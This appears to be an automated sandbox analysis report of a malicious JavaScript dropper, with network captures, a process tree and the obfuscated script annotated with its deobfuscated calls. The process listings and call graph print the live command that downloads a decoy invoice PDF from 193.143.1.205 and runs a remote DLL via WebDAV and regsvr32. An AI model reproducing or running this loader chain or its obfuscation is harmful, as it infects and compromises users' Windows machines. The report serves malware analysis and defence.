Jan 11, 2025 02:24:14.685759068 CET	1236	IN	Data Raw: b4 70 a7 1d 7d 51 c2 df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 Data Ascii: p}QqZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1K
Jan 11, 2025 02:24:14.685774088 CET	896	IN	Data Raw: fc 74 90 cf 08 2d f7 c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 Data Ascii: t-9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCN
Jan 11, 2025 02:24:14.685786009 CET	1236	IN	Data Raw: db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c 11 Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17`
Jan 11, 2025 02:24:14.685798883 CET	1116	IN	Data Raw: 66 cb 0d 36 9a 81 d0 d1 57 d3 bf a0 92 44 a5 cf ea a7 ae 90 ff 4c 12 0d 6f 2f 35 45 52 5e 4a 51 39 9b 59 58 10 5d 33 16 5d 38 56 55 9f 90 5b b3 0e 5a 9e 0a 62 28 80 2d 58 ad 96 60 87 15 0f 0c fd 34 38 30 b4 89 a1 8f 6d 0c 9d 1f 18 7a 71 7e 77 9e Data Ascii: f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6t)BSB%
Jan 11, 2025 02:24:14.736666918 CET	1236	IN	Data Raw: dc 2b f3 aa a6 d3 f9 38 95 52 63 f9 7c d5 25 06 09 d3 8b ee 67 09 6b da 99 94 50 69 c7 92 cc 7e 76 cc a9 af fa 55 d3 3d d4 8f 13 2e b1 5b b5 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef Data Ascii: +8Rc\|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49736	193.143.1.205	8888	4848	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:24:17.104182959 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 02:24:17.912992954 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:24:17 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	20:24:03
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2279239302728123306.js"
Imagebase:	0x7ff798bd0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:24:04
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll
Imagebase:	0x7ff75d040000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	20:24:04
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:24:05
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	20:24:15
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	20:24:15
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff75d040000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:24:15
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6bbc50000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:24:16
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	20:24:17
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	20:24:18
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2392 --field-trial-handle=1512,i,3376101444178727774,5728194804804498819,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function exqhtjhz() {	exqhtjhz() ➔ undefined
1	qxudyulvg = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var poeyie = this[nkrwesu + rtwbo + hjajhvf + axsyhsg + rbbwmewps + xogup + fafjtoz + ponnth] ( this[qqxey + drmsgavbt + liqhgynm + hjajhvf + rjctimdc + nkrwesu + ponnth][mjpotcs + hjajhvf + rbbwmewps + rtwbo + ponnth + rbbwmewps + fdswlyztj + kicsmptt + tavpup + rbbwmewps + liqhgynm + ponnth] ( qqxey + drmsgavbt + liqhgynm + hjajhvf + rjctimdc + nkrwesu + ponnth + uakzbxq + drmsgavbt + iwxguhu + rbbwmewps + plkvnj + plkvnj ) [wqoachl + rbbwmewps + kqgpcv + wqoachl + rbbwmewps + rtwbo + obzpvuoi] ( zwleo + ghgvfvp + azgtjjyj + bnfkstlkj + myemtoi + mjpotcs + dbuxfb + wqoachl + wqoachl + azgtjjyj + phahbyqp + lxxmb + myemtoi + dbuxfb + drmsgavbt + azgtjjyj + wqoachl + shcjsxtjg + mjpotcs + guuljuo + fafjtoz + ponnth + hjajhvf + guuljuo + plkvnj + mgoffy + heodgp + rtwbo + fafjtoz + rbbwmewps + plkvnj + shcjsxtjg + xogup + fafjtoz + ponnth + rbbwmewps + hjajhvf + fafjtoz + rtwbo + ponnth + rjctimdc + guuljuo + fafjtoz + rtwbo + plkvnj + shcjsxtjg + xpzic + guuljuo + liqhgynm + rtwbo + plkvnj + rbbwmewps ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( hdjqtjsqy = 0 ; hdjqtjsqy < qxudyulvg[plkvnj + rbbwmewps + fafjtoz + kqgpcv + ponnth + iwxguhu] ; ++ hdjqtjsqy )
4	{
5	if ( poeyie == qxudyulvg[hdjqtjsqy] )
6	{
7	poeyie = true;
8	break ;
9	}
10	}
11	if ( poeyie !== true )
12	this[qqxey + drmsgavbt + liqhgynm + hjajhvf + rjctimdc + nkrwesu + ponnth][hjcgyegbj + lgnwuyzl + rjctimdc + ponnth] ( );
13	this[qqxey + drmsgavbt + liqhgynm + hjajhvf + rjctimdc + nkrwesu + ponnth][mjpotcs + hjajhvf + rbbwmewps + rtwbo + ponnth + rbbwmewps + fdswlyztj + kicsmptt + tavpup + rbbwmewps + liqhgynm + ponnth] ( qqxey + drmsgavbt + liqhgynm + hjajhvf + rjctimdc + nkrwesu + ponnth + uakzbxq + drmsgavbt + iwxguhu + rbbwmewps + plkvnj + plkvnj ) [hjajhvf + lgnwuyzl + fafjtoz] ( liqhgynm + wxyrkcbj + obzpvuoi + mgoffy + alswdeos + liqhgynm + mgoffy + nkrwesu + guuljuo + kzppc + rbbwmewps + hjajhvf + axsyhsg + iwxguhu + rbbwmewps + plkvnj + plkvnj + uakzbxq + rbbwmewps + unuie + rbbwmewps + mgoffy + welcdbtr + mjpotcs + guuljuo + wxyrkcbj + wxyrkcbj + rtwbo + fafjtoz + obzpvuoi + mgoffy + qhvaoa + xogup + fafjtoz + qyhgi + guuljuo + hszgmq + rbbwmewps + welcdbtr + qqxey + rbbwmewps + kicsmptt + wqoachl + rbbwmewps + znkntjs + lgnwuyzl + rbbwmewps + axsyhsg + ponnth + mgoffy + welcdbtr + fdswlyztj + lgnwuyzl + ponnth + zxnvhl + rjctimdc + plkvnj + rbbwmewps + mgoffy + anbxp + ponnth + rbbwmewps + wxyrkcbj + nkrwesu + anbxp + shcjsxtjg + rjctimdc + fafjtoz + qyhgi + guuljuo + rjctimdc + liqhgynm + rbbwmewps + uakzbxq + nkrwesu + obzpvuoi + jwjmso + mgoffy + iwxguhu + ponnth + ponnth + nkrwesu + qyjjaxb + alswdeos + alswdeos + jtncwnu + uwhdmv + wsfoqbjb + uakzbxq + jtncwnu + nxxdciv + wsfoqbjb + uakzbxq + jtncwnu + uakzbxq + jfdcnnifq + tnbhx + bdgryx + alswdeos + rjctimdc + fafjtoz + qyhgi + guuljuo + rjctimdc + liqhgynm + rbbwmewps + uakzbxq + nkrwesu + iwxguhu + nkrwesu + qhvaoa + uknnk + uknnk + axsyhsg + ponnth + rtwbo + hjajhvf + ponnth + mgoffy + anbxp + ponnth + rbbwmewps + wxyrkcbj + nkrwesu + anbxp + shcjsxtjg + rjctimdc + fafjtoz + qyhgi + guuljuo + rjctimdc + liqhgynm + rbbwmewps + uakzbxq + nkrwesu + obzpvuoi + jwjmso + uknnk + uknnk + liqhgynm + wxyrkcbj + obzpvuoi + mgoffy + alswdeos + liqhgynm + mgoffy + fafjtoz + rbbwmewps + ponnth + mgoffy + lgnwuyzl + axsyhsg + rbbwmewps + mgoffy + shcjsxtjg + shcjsxtjg + jtncwnu + uwhdmv + wsfoqbjb + uakzbxq + jtncwnu + nxxdciv + wsfoqbjb + uakzbxq + jtncwnu + uakzbxq + jfdcnnifq + tnbhx + bdgryx + ndubqanbi + vwmbvjt + vwmbvjt + vwmbvjt + vwmbvjt + shcjsxtjg + obzpvuoi + rtwbo + qyhgi + kzppc + kzppc + kzppc + hjajhvf + guuljuo + guuljuo + ponnth + shcjsxtjg + uknnk + uknnk + liqhgynm + wxyrkcbj + obzpvuoi + mgoffy + alswdeos + liqhgynm + mgoffy + hjajhvf + rbbwmewps + kqgpcv + axsyhsg + qyhgi + hjajhvf + wsfoqbjb + jfdcnnifq + mgoffy + alswdeos + axsyhsg + mgoffy + shcjsxtjg + shcjsxtjg + jtncwnu + uwhdmv + wsfoqbjb + uakzbxq + jtncwnu + nxxdciv + wsfoqbjb + uakzbxq + jtncwnu + uakzbxq + jfdcnnifq + tnbhx + bdgryx + ndubqanbi + vwmbvjt + vwmbvjt + vwmbvjt + vwmbvjt + shcjsxtjg + obzpvuoi + rtwbo + qyhgi + kzppc + kzppc + kzppc + hjajhvf + guuljuo + guuljuo + ponnth + shcjsxtjg + jfdcnnifq + jtncwnu + nxxdciv + jtncwnu + vwmbvjt + jfdcnnifq + jfdcnnifq + bdgryx + vwmbvjt + zucqt + vwmbvjt + nxxdciv + jtncwnu + bdgryx + uakzbxq + obzpvuoi + plkvnj + plkvnj, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll",0,false) ➔ 0
14	}
15	wsfoqbjb = "x";
16	wsfoqbjb = "S";
17	wsfoqbjb = "z";
18	wsfoqbjb = "W";
19	wsfoqbjb = "a";
20	wsfoqbjb = "f";
21	wsfoqbjb = "v";
22	wsfoqbjb = "N";
23	wsfoqbjb = "t";
24	wsfoqbjb = "m";
25	wsfoqbjb = "l";
26	wsfoqbjb = "C";
27	wsfoqbjb = "U";
28	wsfoqbjb = "W";
29	wsfoqbjb = "h";
30	wsfoqbjb = "Y";
31	wsfoqbjb = "n";
32	wsfoqbjb = "3";
33	uakzbxq = "Z";
34	uakzbxq = "C";
35	uakzbxq = ".";
36	unuie = "y";
37	unuie = "g";
38	unuie = "n";
39	unuie = "o";
40	unuie = "D";
41	unuie = "N";
42	unuie = "o";
43	unuie = "c";
44	unuie = "F";
45	unuie = "C";
46	unuie = "h";
47	unuie = "M";
48	unuie = "z";
49	unuie = "j";
50	unuie = "Z";
51	unuie = "a";
52	unuie = "r";
53	unuie = "s";
54	unuie = "s";
55	unuie = "K";
56	unuie = "S";
57	unuie = "v";
58	unuie = "i";
59	unuie = "v";
60	unuie = "a";
61	unuie = "O";
62	unuie = "r";
63	unuie = "K";
64	unuie = "g";
65	unuie = "n";
66	unuie = "a";
67	unuie = "B";
68	unuie = "d";
69	unuie = "p";
70	unuie = "s";
71	unuie = "x";
72	qyhgi = "P";
73	qyhgi = "G";
74	qyhgi = "o";
75	qyhgi = "v";
76	qyhgi = "c";
77	qyhgi = "s";
78	qyhgi = "n";
79	qyhgi = "r";
80	qyhgi = "j";
81	qyhgi = "D";
82	qyhgi = "u";
83	qyhgi = "K";
84	qyhgi = "J";
85	qyhgi = "P";
86	qyhgi = "M";
87	qyhgi = "c";
88	qyhgi = "R";
89	qyhgi = "T";
90	qyhgi = "j";
91	qyhgi = "A";
92	qyhgi = "P";
93	qyhgi = "h";
94	qyhgi = "q";
95	qyhgi = "D";
96	qyhgi = "b";
97	qyhgi = "x";
98	qyhgi = "v";
99	qyhgi = "L";
100	qyhgi = "C";
101	qyhgi = "r";
102	qyhgi = "I";
103	qyhgi = "Z";
104	qyhgi = "Z";
105	qyhgi = "r";
106	qyhgi = "i";
107	qyhgi = "n";
108	qyhgi = "j";
109	qyhgi = "J";
110	qyhgi = "I";
111	qyhgi = "n";
112	qyhgi = "E";
113	qyhgi = "N";
114	qyhgi = "W";
115	qyhgi = "f";
116	qyhgi = "v";
117	znkntjs = "x";
118	znkntjs = "L";
119	znkntjs = "g";
120	znkntjs = "x";
121	znkntjs = "t";
122	znkntjs = "X";
123	znkntjs = "F";
124	znkntjs = "t";
125	znkntjs = "g";
126	znkntjs = "q";
127	znkntjs = "w";
128	znkntjs = "V";
129	znkntjs = "U";
130	znkntjs = "o";
131	znkntjs = "U";
132	znkntjs = "E";
133	znkntjs = "V";
134	znkntjs = "J";
135	znkntjs = "z";
136	znkntjs = "d";
137	znkntjs = "p";
138	znkntjs = "z";
139	znkntjs = "V";
140	znkntjs = "o";
141	znkntjs = "w";
142	znkntjs = "d";
143	znkntjs = "r";
144	znkntjs = "I";
145	znkntjs = "F";
146	znkntjs = "j";
147	znkntjs = "i";
148	znkntjs = "Z";
149	znkntjs = "L";
150	znkntjs = "c";
151	znkntjs = "L";
152	znkntjs = "k";
153	znkntjs = "m";
154	znkntjs = "u";
155	znkntjs = "M";
156	znkntjs = "Z";
157	znkntjs = "F";
158	znkntjs = "V";
159	znkntjs = "A";
160	znkntjs = "J";
161	znkntjs = "q";
162	rtwbo = "B";
163	rtwbo = "L";
164	rtwbo = "u";
165	rtwbo = "B";
166	rtwbo = "d";
167	rtwbo = "F";
168	rtwbo = "r";
169	rtwbo = "e";
170	rtwbo = "a";
171	fdswlyztj = "w";
172	fdswlyztj = "S";
173	fdswlyztj = "A";
174	fdswlyztj = "b";
175	fdswlyztj = "P";
176	fdswlyztj = "z";
177	fdswlyztj = "I";
178	fdswlyztj = "Y";
179	fdswlyztj = "X";
180	fdswlyztj = "L";
181	fdswlyztj = "O";
182	fdswlyztj = "j";
183	fdswlyztj = "f";
184	fdswlyztj = "v";
185	fdswlyztj = "x";
186	fdswlyztj = "x";
187	fdswlyztj = "P";
188	fdswlyztj = "k";
189	fdswlyztj = "y";
190	fdswlyztj = "o";
191	fdswlyztj = "p";
192	fdswlyztj = "I";
193	fdswlyztj = "V";
194	fdswlyztj = "H";
195	fdswlyztj = "R";
196	fdswlyztj = "b";
197	fdswlyztj = "b";
198	fdswlyztj = "D";
199	fdswlyztj = "c";
200	fdswlyztj = "O";
201	jfdcnnifq = "p";
202	jfdcnnifq = "Z";
203	jfdcnnifq = "b";
204	jfdcnnifq = "c";
205	jfdcnnifq = "j";
206	jfdcnnifq = "U";
207	jfdcnnifq = "o";
208	jfdcnnifq = "W";
209	jfdcnnifq = "J";
210	jfdcnnifq = "G";
211	jfdcnnifq = "s";
212	jfdcnnifq = "A";
213	jfdcnnifq = "c";
214	jfdcnnifq = "L";
215	jfdcnnifq = "e";
216	jfdcnnifq = "q";
217	jfdcnnifq = "U";
218	jfdcnnifq = "A";
219	jfdcnnifq = "l";
220	jfdcnnifq = "z";
221	jfdcnnifq = "K";
222	jfdcnnifq = "l";
223	jfdcnnifq = "n";
224	jfdcnnifq = "K";
225	jfdcnnifq = "g";
226	jfdcnnifq = "s";
227	jfdcnnifq = "e";
228	jfdcnnifq = "f";
229	jfdcnnifq = "P";
230	jfdcnnifq = "q";
231	jfdcnnifq = "G";
232	jfdcnnifq = "G";
233	jfdcnnifq = "X";
234	jfdcnnifq = "V";
235	jfdcnnifq = "E";
236	jfdcnnifq = "c";
237	jfdcnnifq = "2";
238	zucqt = "o";
239	zucqt = "P";
240	zucqt = "r";
241	zucqt = "L";
242	zucqt = "v";
243	zucqt = "r";
244	zucqt = "H";
245	zucqt = "N";
246	zucqt = "Q";
247	zucqt = "C";
248	zucqt = "f";
249	zucqt = "D";
250	zucqt = "c";
251	zucqt = "H";
252	zucqt = "w";
253	zucqt = "C";
254	zucqt = "d";
255	zucqt = "Q";
256	zucqt = "w";
257	zucqt = "q";
258	zucqt = "A";
259	zucqt = "C";
260	zucqt = "s";
261	zucqt = "E";
262	zucqt = "7";
263	vwmbvjt = "B";
264	vwmbvjt = "A";
265	vwmbvjt = "Q";
266	vwmbvjt = "C";
267	vwmbvjt = "C";
268	vwmbvjt = "U";
269	vwmbvjt = "P";
270	vwmbvjt = "i";
271	vwmbvjt = "T";
272	vwmbvjt = "e";
273	vwmbvjt = "u";
274	vwmbvjt = "R";
275	vwmbvjt = "x";
276	vwmbvjt = "O";
277	vwmbvjt = "y";
278	vwmbvjt = "c";
279	vwmbvjt = "H";
280	vwmbvjt = "M";
281	vwmbvjt = "o";
282	vwmbvjt = "Y";
283	vwmbvjt = "h";
284	vwmbvjt = "Q";
285	vwmbvjt = "b";
286	vwmbvjt = "S";
287	vwmbvjt = "B";
288	vwmbvjt = "R";
289	vwmbvjt = "S";
290	vwmbvjt = "l";
291	vwmbvjt = "h";
292	vwmbvjt = "U";
293	vwmbvjt = "l";
294	vwmbvjt = "f";
295	vwmbvjt = "f";
296	vwmbvjt = "B";
297	vwmbvjt = "y";
298	vwmbvjt = "v";
299	vwmbvjt = "v";
300	vwmbvjt = "n";
301	vwmbvjt = "u";
302	vwmbvjt = "8";
303	axsyhsg = "y";
304	axsyhsg = "K";
305	axsyhsg = "s";
306	guuljuo = "i";
307	guuljuo = "s";
308	guuljuo = "o";
309	hszgmq = "P";
310	hszgmq = "j";
311	hszgmq = "z";
312	hszgmq = "C";
313	hszgmq = "q";
314	hszgmq = "e";
315	hszgmq = "q";
316	hszgmq = "Y";
317	hszgmq = "T";
318	hszgmq = "E";
319	hszgmq = "N";
320	hszgmq = "B";
321	hszgmq = "d";
322	hszgmq = "K";
323	hszgmq = "g";
324	hszgmq = "e";
325	hszgmq = "O";
326	hszgmq = "Q";
327	hszgmq = "v";
328	hszgmq = "v";
329	hszgmq = "I";
330	hszgmq = "A";
331	hszgmq = "l";
332	hszgmq = "k";
333	obzpvuoi = "R";
334	obzpvuoi = "T";
335	obzpvuoi = "I";
336	obzpvuoi = "u";
337	obzpvuoi = "o";
338	obzpvuoi = "u";
339	obzpvuoi = "z";
340	obzpvuoi = "v";
341	obzpvuoi = "P";
342	obzpvuoi = "K";
343	obzpvuoi = "Q";
344	obzpvuoi = "t";
345	obzpvuoi = "a";
346	obzpvuoi = "N";
347	obzpvuoi = "O";
348	obzpvuoi = "C";
349	obzpvuoi = "S";
350	obzpvuoi = "f";
351	obzpvuoi = "B";
352	obzpvuoi = "C";
353	obzpvuoi = "U";
354	obzpvuoi = "p";
355	obzpvuoi = "D";
356	obzpvuoi = "Q";
357	obzpvuoi = "M";
358	obzpvuoi = "d";
359	rbbwmewps = "B";
360	rbbwmewps = "x";
361	rbbwmewps = "u";
362	rbbwmewps = "u";
363	rbbwmewps = "b";
364	rbbwmewps = "P";
365	rbbwmewps = "g";
366	rbbwmewps = "y";
367	rbbwmewps = "x";
368	rbbwmewps = "a";
369	rbbwmewps = "l";
370	rbbwmewps = "D";
371	rbbwmewps = "S";
372	rbbwmewps = "M";
373	rbbwmewps = "o";
374	rbbwmewps = "V";
375	rbbwmewps = "x";
376	rbbwmewps = "Q";
377	rbbwmewps = "q";
378	rbbwmewps = "G";
379	rbbwmewps = "O";
380	rbbwmewps = "J";
381	rbbwmewps = "n";
382	rbbwmewps = "q";
383	rbbwmewps = "e";
384	rbbwmewps = "t";
385	rbbwmewps = "R";
386	rbbwmewps = "S";
387	rbbwmewps = "s";
388	rbbwmewps = "z";
389	rbbwmewps = "j";
390	rbbwmewps = "W";
391	rbbwmewps = "Q";
392	rbbwmewps = "Y";
393	rbbwmewps = "I";
394	rbbwmewps = "Y";
395	rbbwmewps = "Q";
396	rbbwmewps = "w";
397	rbbwmewps = "F";
398	rbbwmewps = "K";
399	rbbwmewps = "e";
400	nxxdciv = "b";
401	nxxdciv = "S";
402	nxxdciv = "E";
403	nxxdciv = "m";
404	nxxdciv = "g";
405	nxxdciv = "t";
406	nxxdciv = "x";
407	nxxdciv = "d";
408	nxxdciv = "N";
409	nxxdciv = "e";
410	nxxdciv = "B";
411	nxxdciv = "Q";
412	nxxdciv = "k";
413	nxxdciv = "p";
414	nxxdciv = "l";
415	nxxdciv = "X";
416	nxxdciv = "W";
417	nxxdciv = "E";
418	nxxdciv = "4";
419	phahbyqp = "Y";
420	phahbyqp = "a";
421	phahbyqp = "M";
422	phahbyqp = "n";
423	phahbyqp = "b";
424	phahbyqp = "N";
425	phahbyqp = "r";
426	phahbyqp = "e";
427	phahbyqp = "N";
428	kqgpcv = "o";
429	kqgpcv = "M";
430	kqgpcv = "k";
431	kqgpcv = "u";
432	kqgpcv = "K";
433	kqgpcv = "k";
434	kqgpcv = "e";
435	kqgpcv = "h";
436	kqgpcv = "i";
437	kqgpcv = "v";
438	kqgpcv = "U";
439	kqgpcv = "B";
440	kqgpcv = "f";
441	kqgpcv = "H";
442	kqgpcv = "X";
443	kqgpcv = "c";
444	kqgpcv = "E";
445	kqgpcv = "P";
446	kqgpcv = "d";
447	kqgpcv = "P";
448	kqgpcv = "r";
449	kqgpcv = "X";
450	kqgpcv = "j";
451	kqgpcv = "q";
452	kqgpcv = "k";
453	kqgpcv = "H";
454	kqgpcv = "y";
455	kqgpcv = "y";
456	kqgpcv = "w";
457	kqgpcv = "g";
458	kqgpcv = "L";
459	kqgpcv = "j";
460	kqgpcv = "Q";
461	kqgpcv = "s";
462	kqgpcv = "E";
463	kqgpcv = "g";
464	lgnwuyzl = "a";
465	lgnwuyzl = "P";
466	lgnwuyzl = "t";
467	lgnwuyzl = "l";
468	lgnwuyzl = "h";
469	lgnwuyzl = "u";
470	lgnwuyzl = "V";
471	lgnwuyzl = "S";
472	lgnwuyzl = "x";
473	lgnwuyzl = "E";
474	lgnwuyzl = "L";
475	lgnwuyzl = "D";
476	lgnwuyzl = "S";
477	lgnwuyzl = "G";
478	lgnwuyzl = "A";
479	lgnwuyzl = "L";
480	lgnwuyzl = "l";
481	lgnwuyzl = "g";
482	lgnwuyzl = "D";
483	lgnwuyzl = "o";
484	lgnwuyzl = "p";
485	lgnwuyzl = "G";
486	lgnwuyzl = "h";
487	lgnwuyzl = "L";
488	lgnwuyzl = "P";
489	lgnwuyzl = "b";
490	lgnwuyzl = "l";
491	lgnwuyzl = "u";
492	xogup = "a";
493	xogup = "K";
494	xogup = "C";
495	xogup = "Q";
496	xogup = "S";
497	xogup = "O";
498	xogup = "T";
499	xogup = "s";
500	xogup = "b";
501	xogup = "a";
502	xogup = "H";
503	xogup = "l";
504	xogup = "q";
505	xogup = "u";
506	xogup = "x";
507	xogup = "M";
508	xogup = "v";
509	xogup = "M";
510	xogup = "I";
511	xogup = "u";
512	xogup = "D";
513	xogup = "E";
514	xogup = "n";
515	xogup = "c";
516	xogup = "J";
517	xogup = "n";
518	xogup = "J";
519	xogup = "U";
520	xogup = "s";
521	xogup = "v";
522	xogup = "U";
523	xogup = "X";
524	xogup = "T";
525	xogup = "E";
526	xogup = "N";
527	xogup = "N";
528	xogup = "u";
529	xogup = "W";
530	xogup = "P";
531	xogup = "t";
532	xogup = "i";
533	xogup = "H";
534	xogup = "I";
535	ponnth = "M";
536	ponnth = "x";
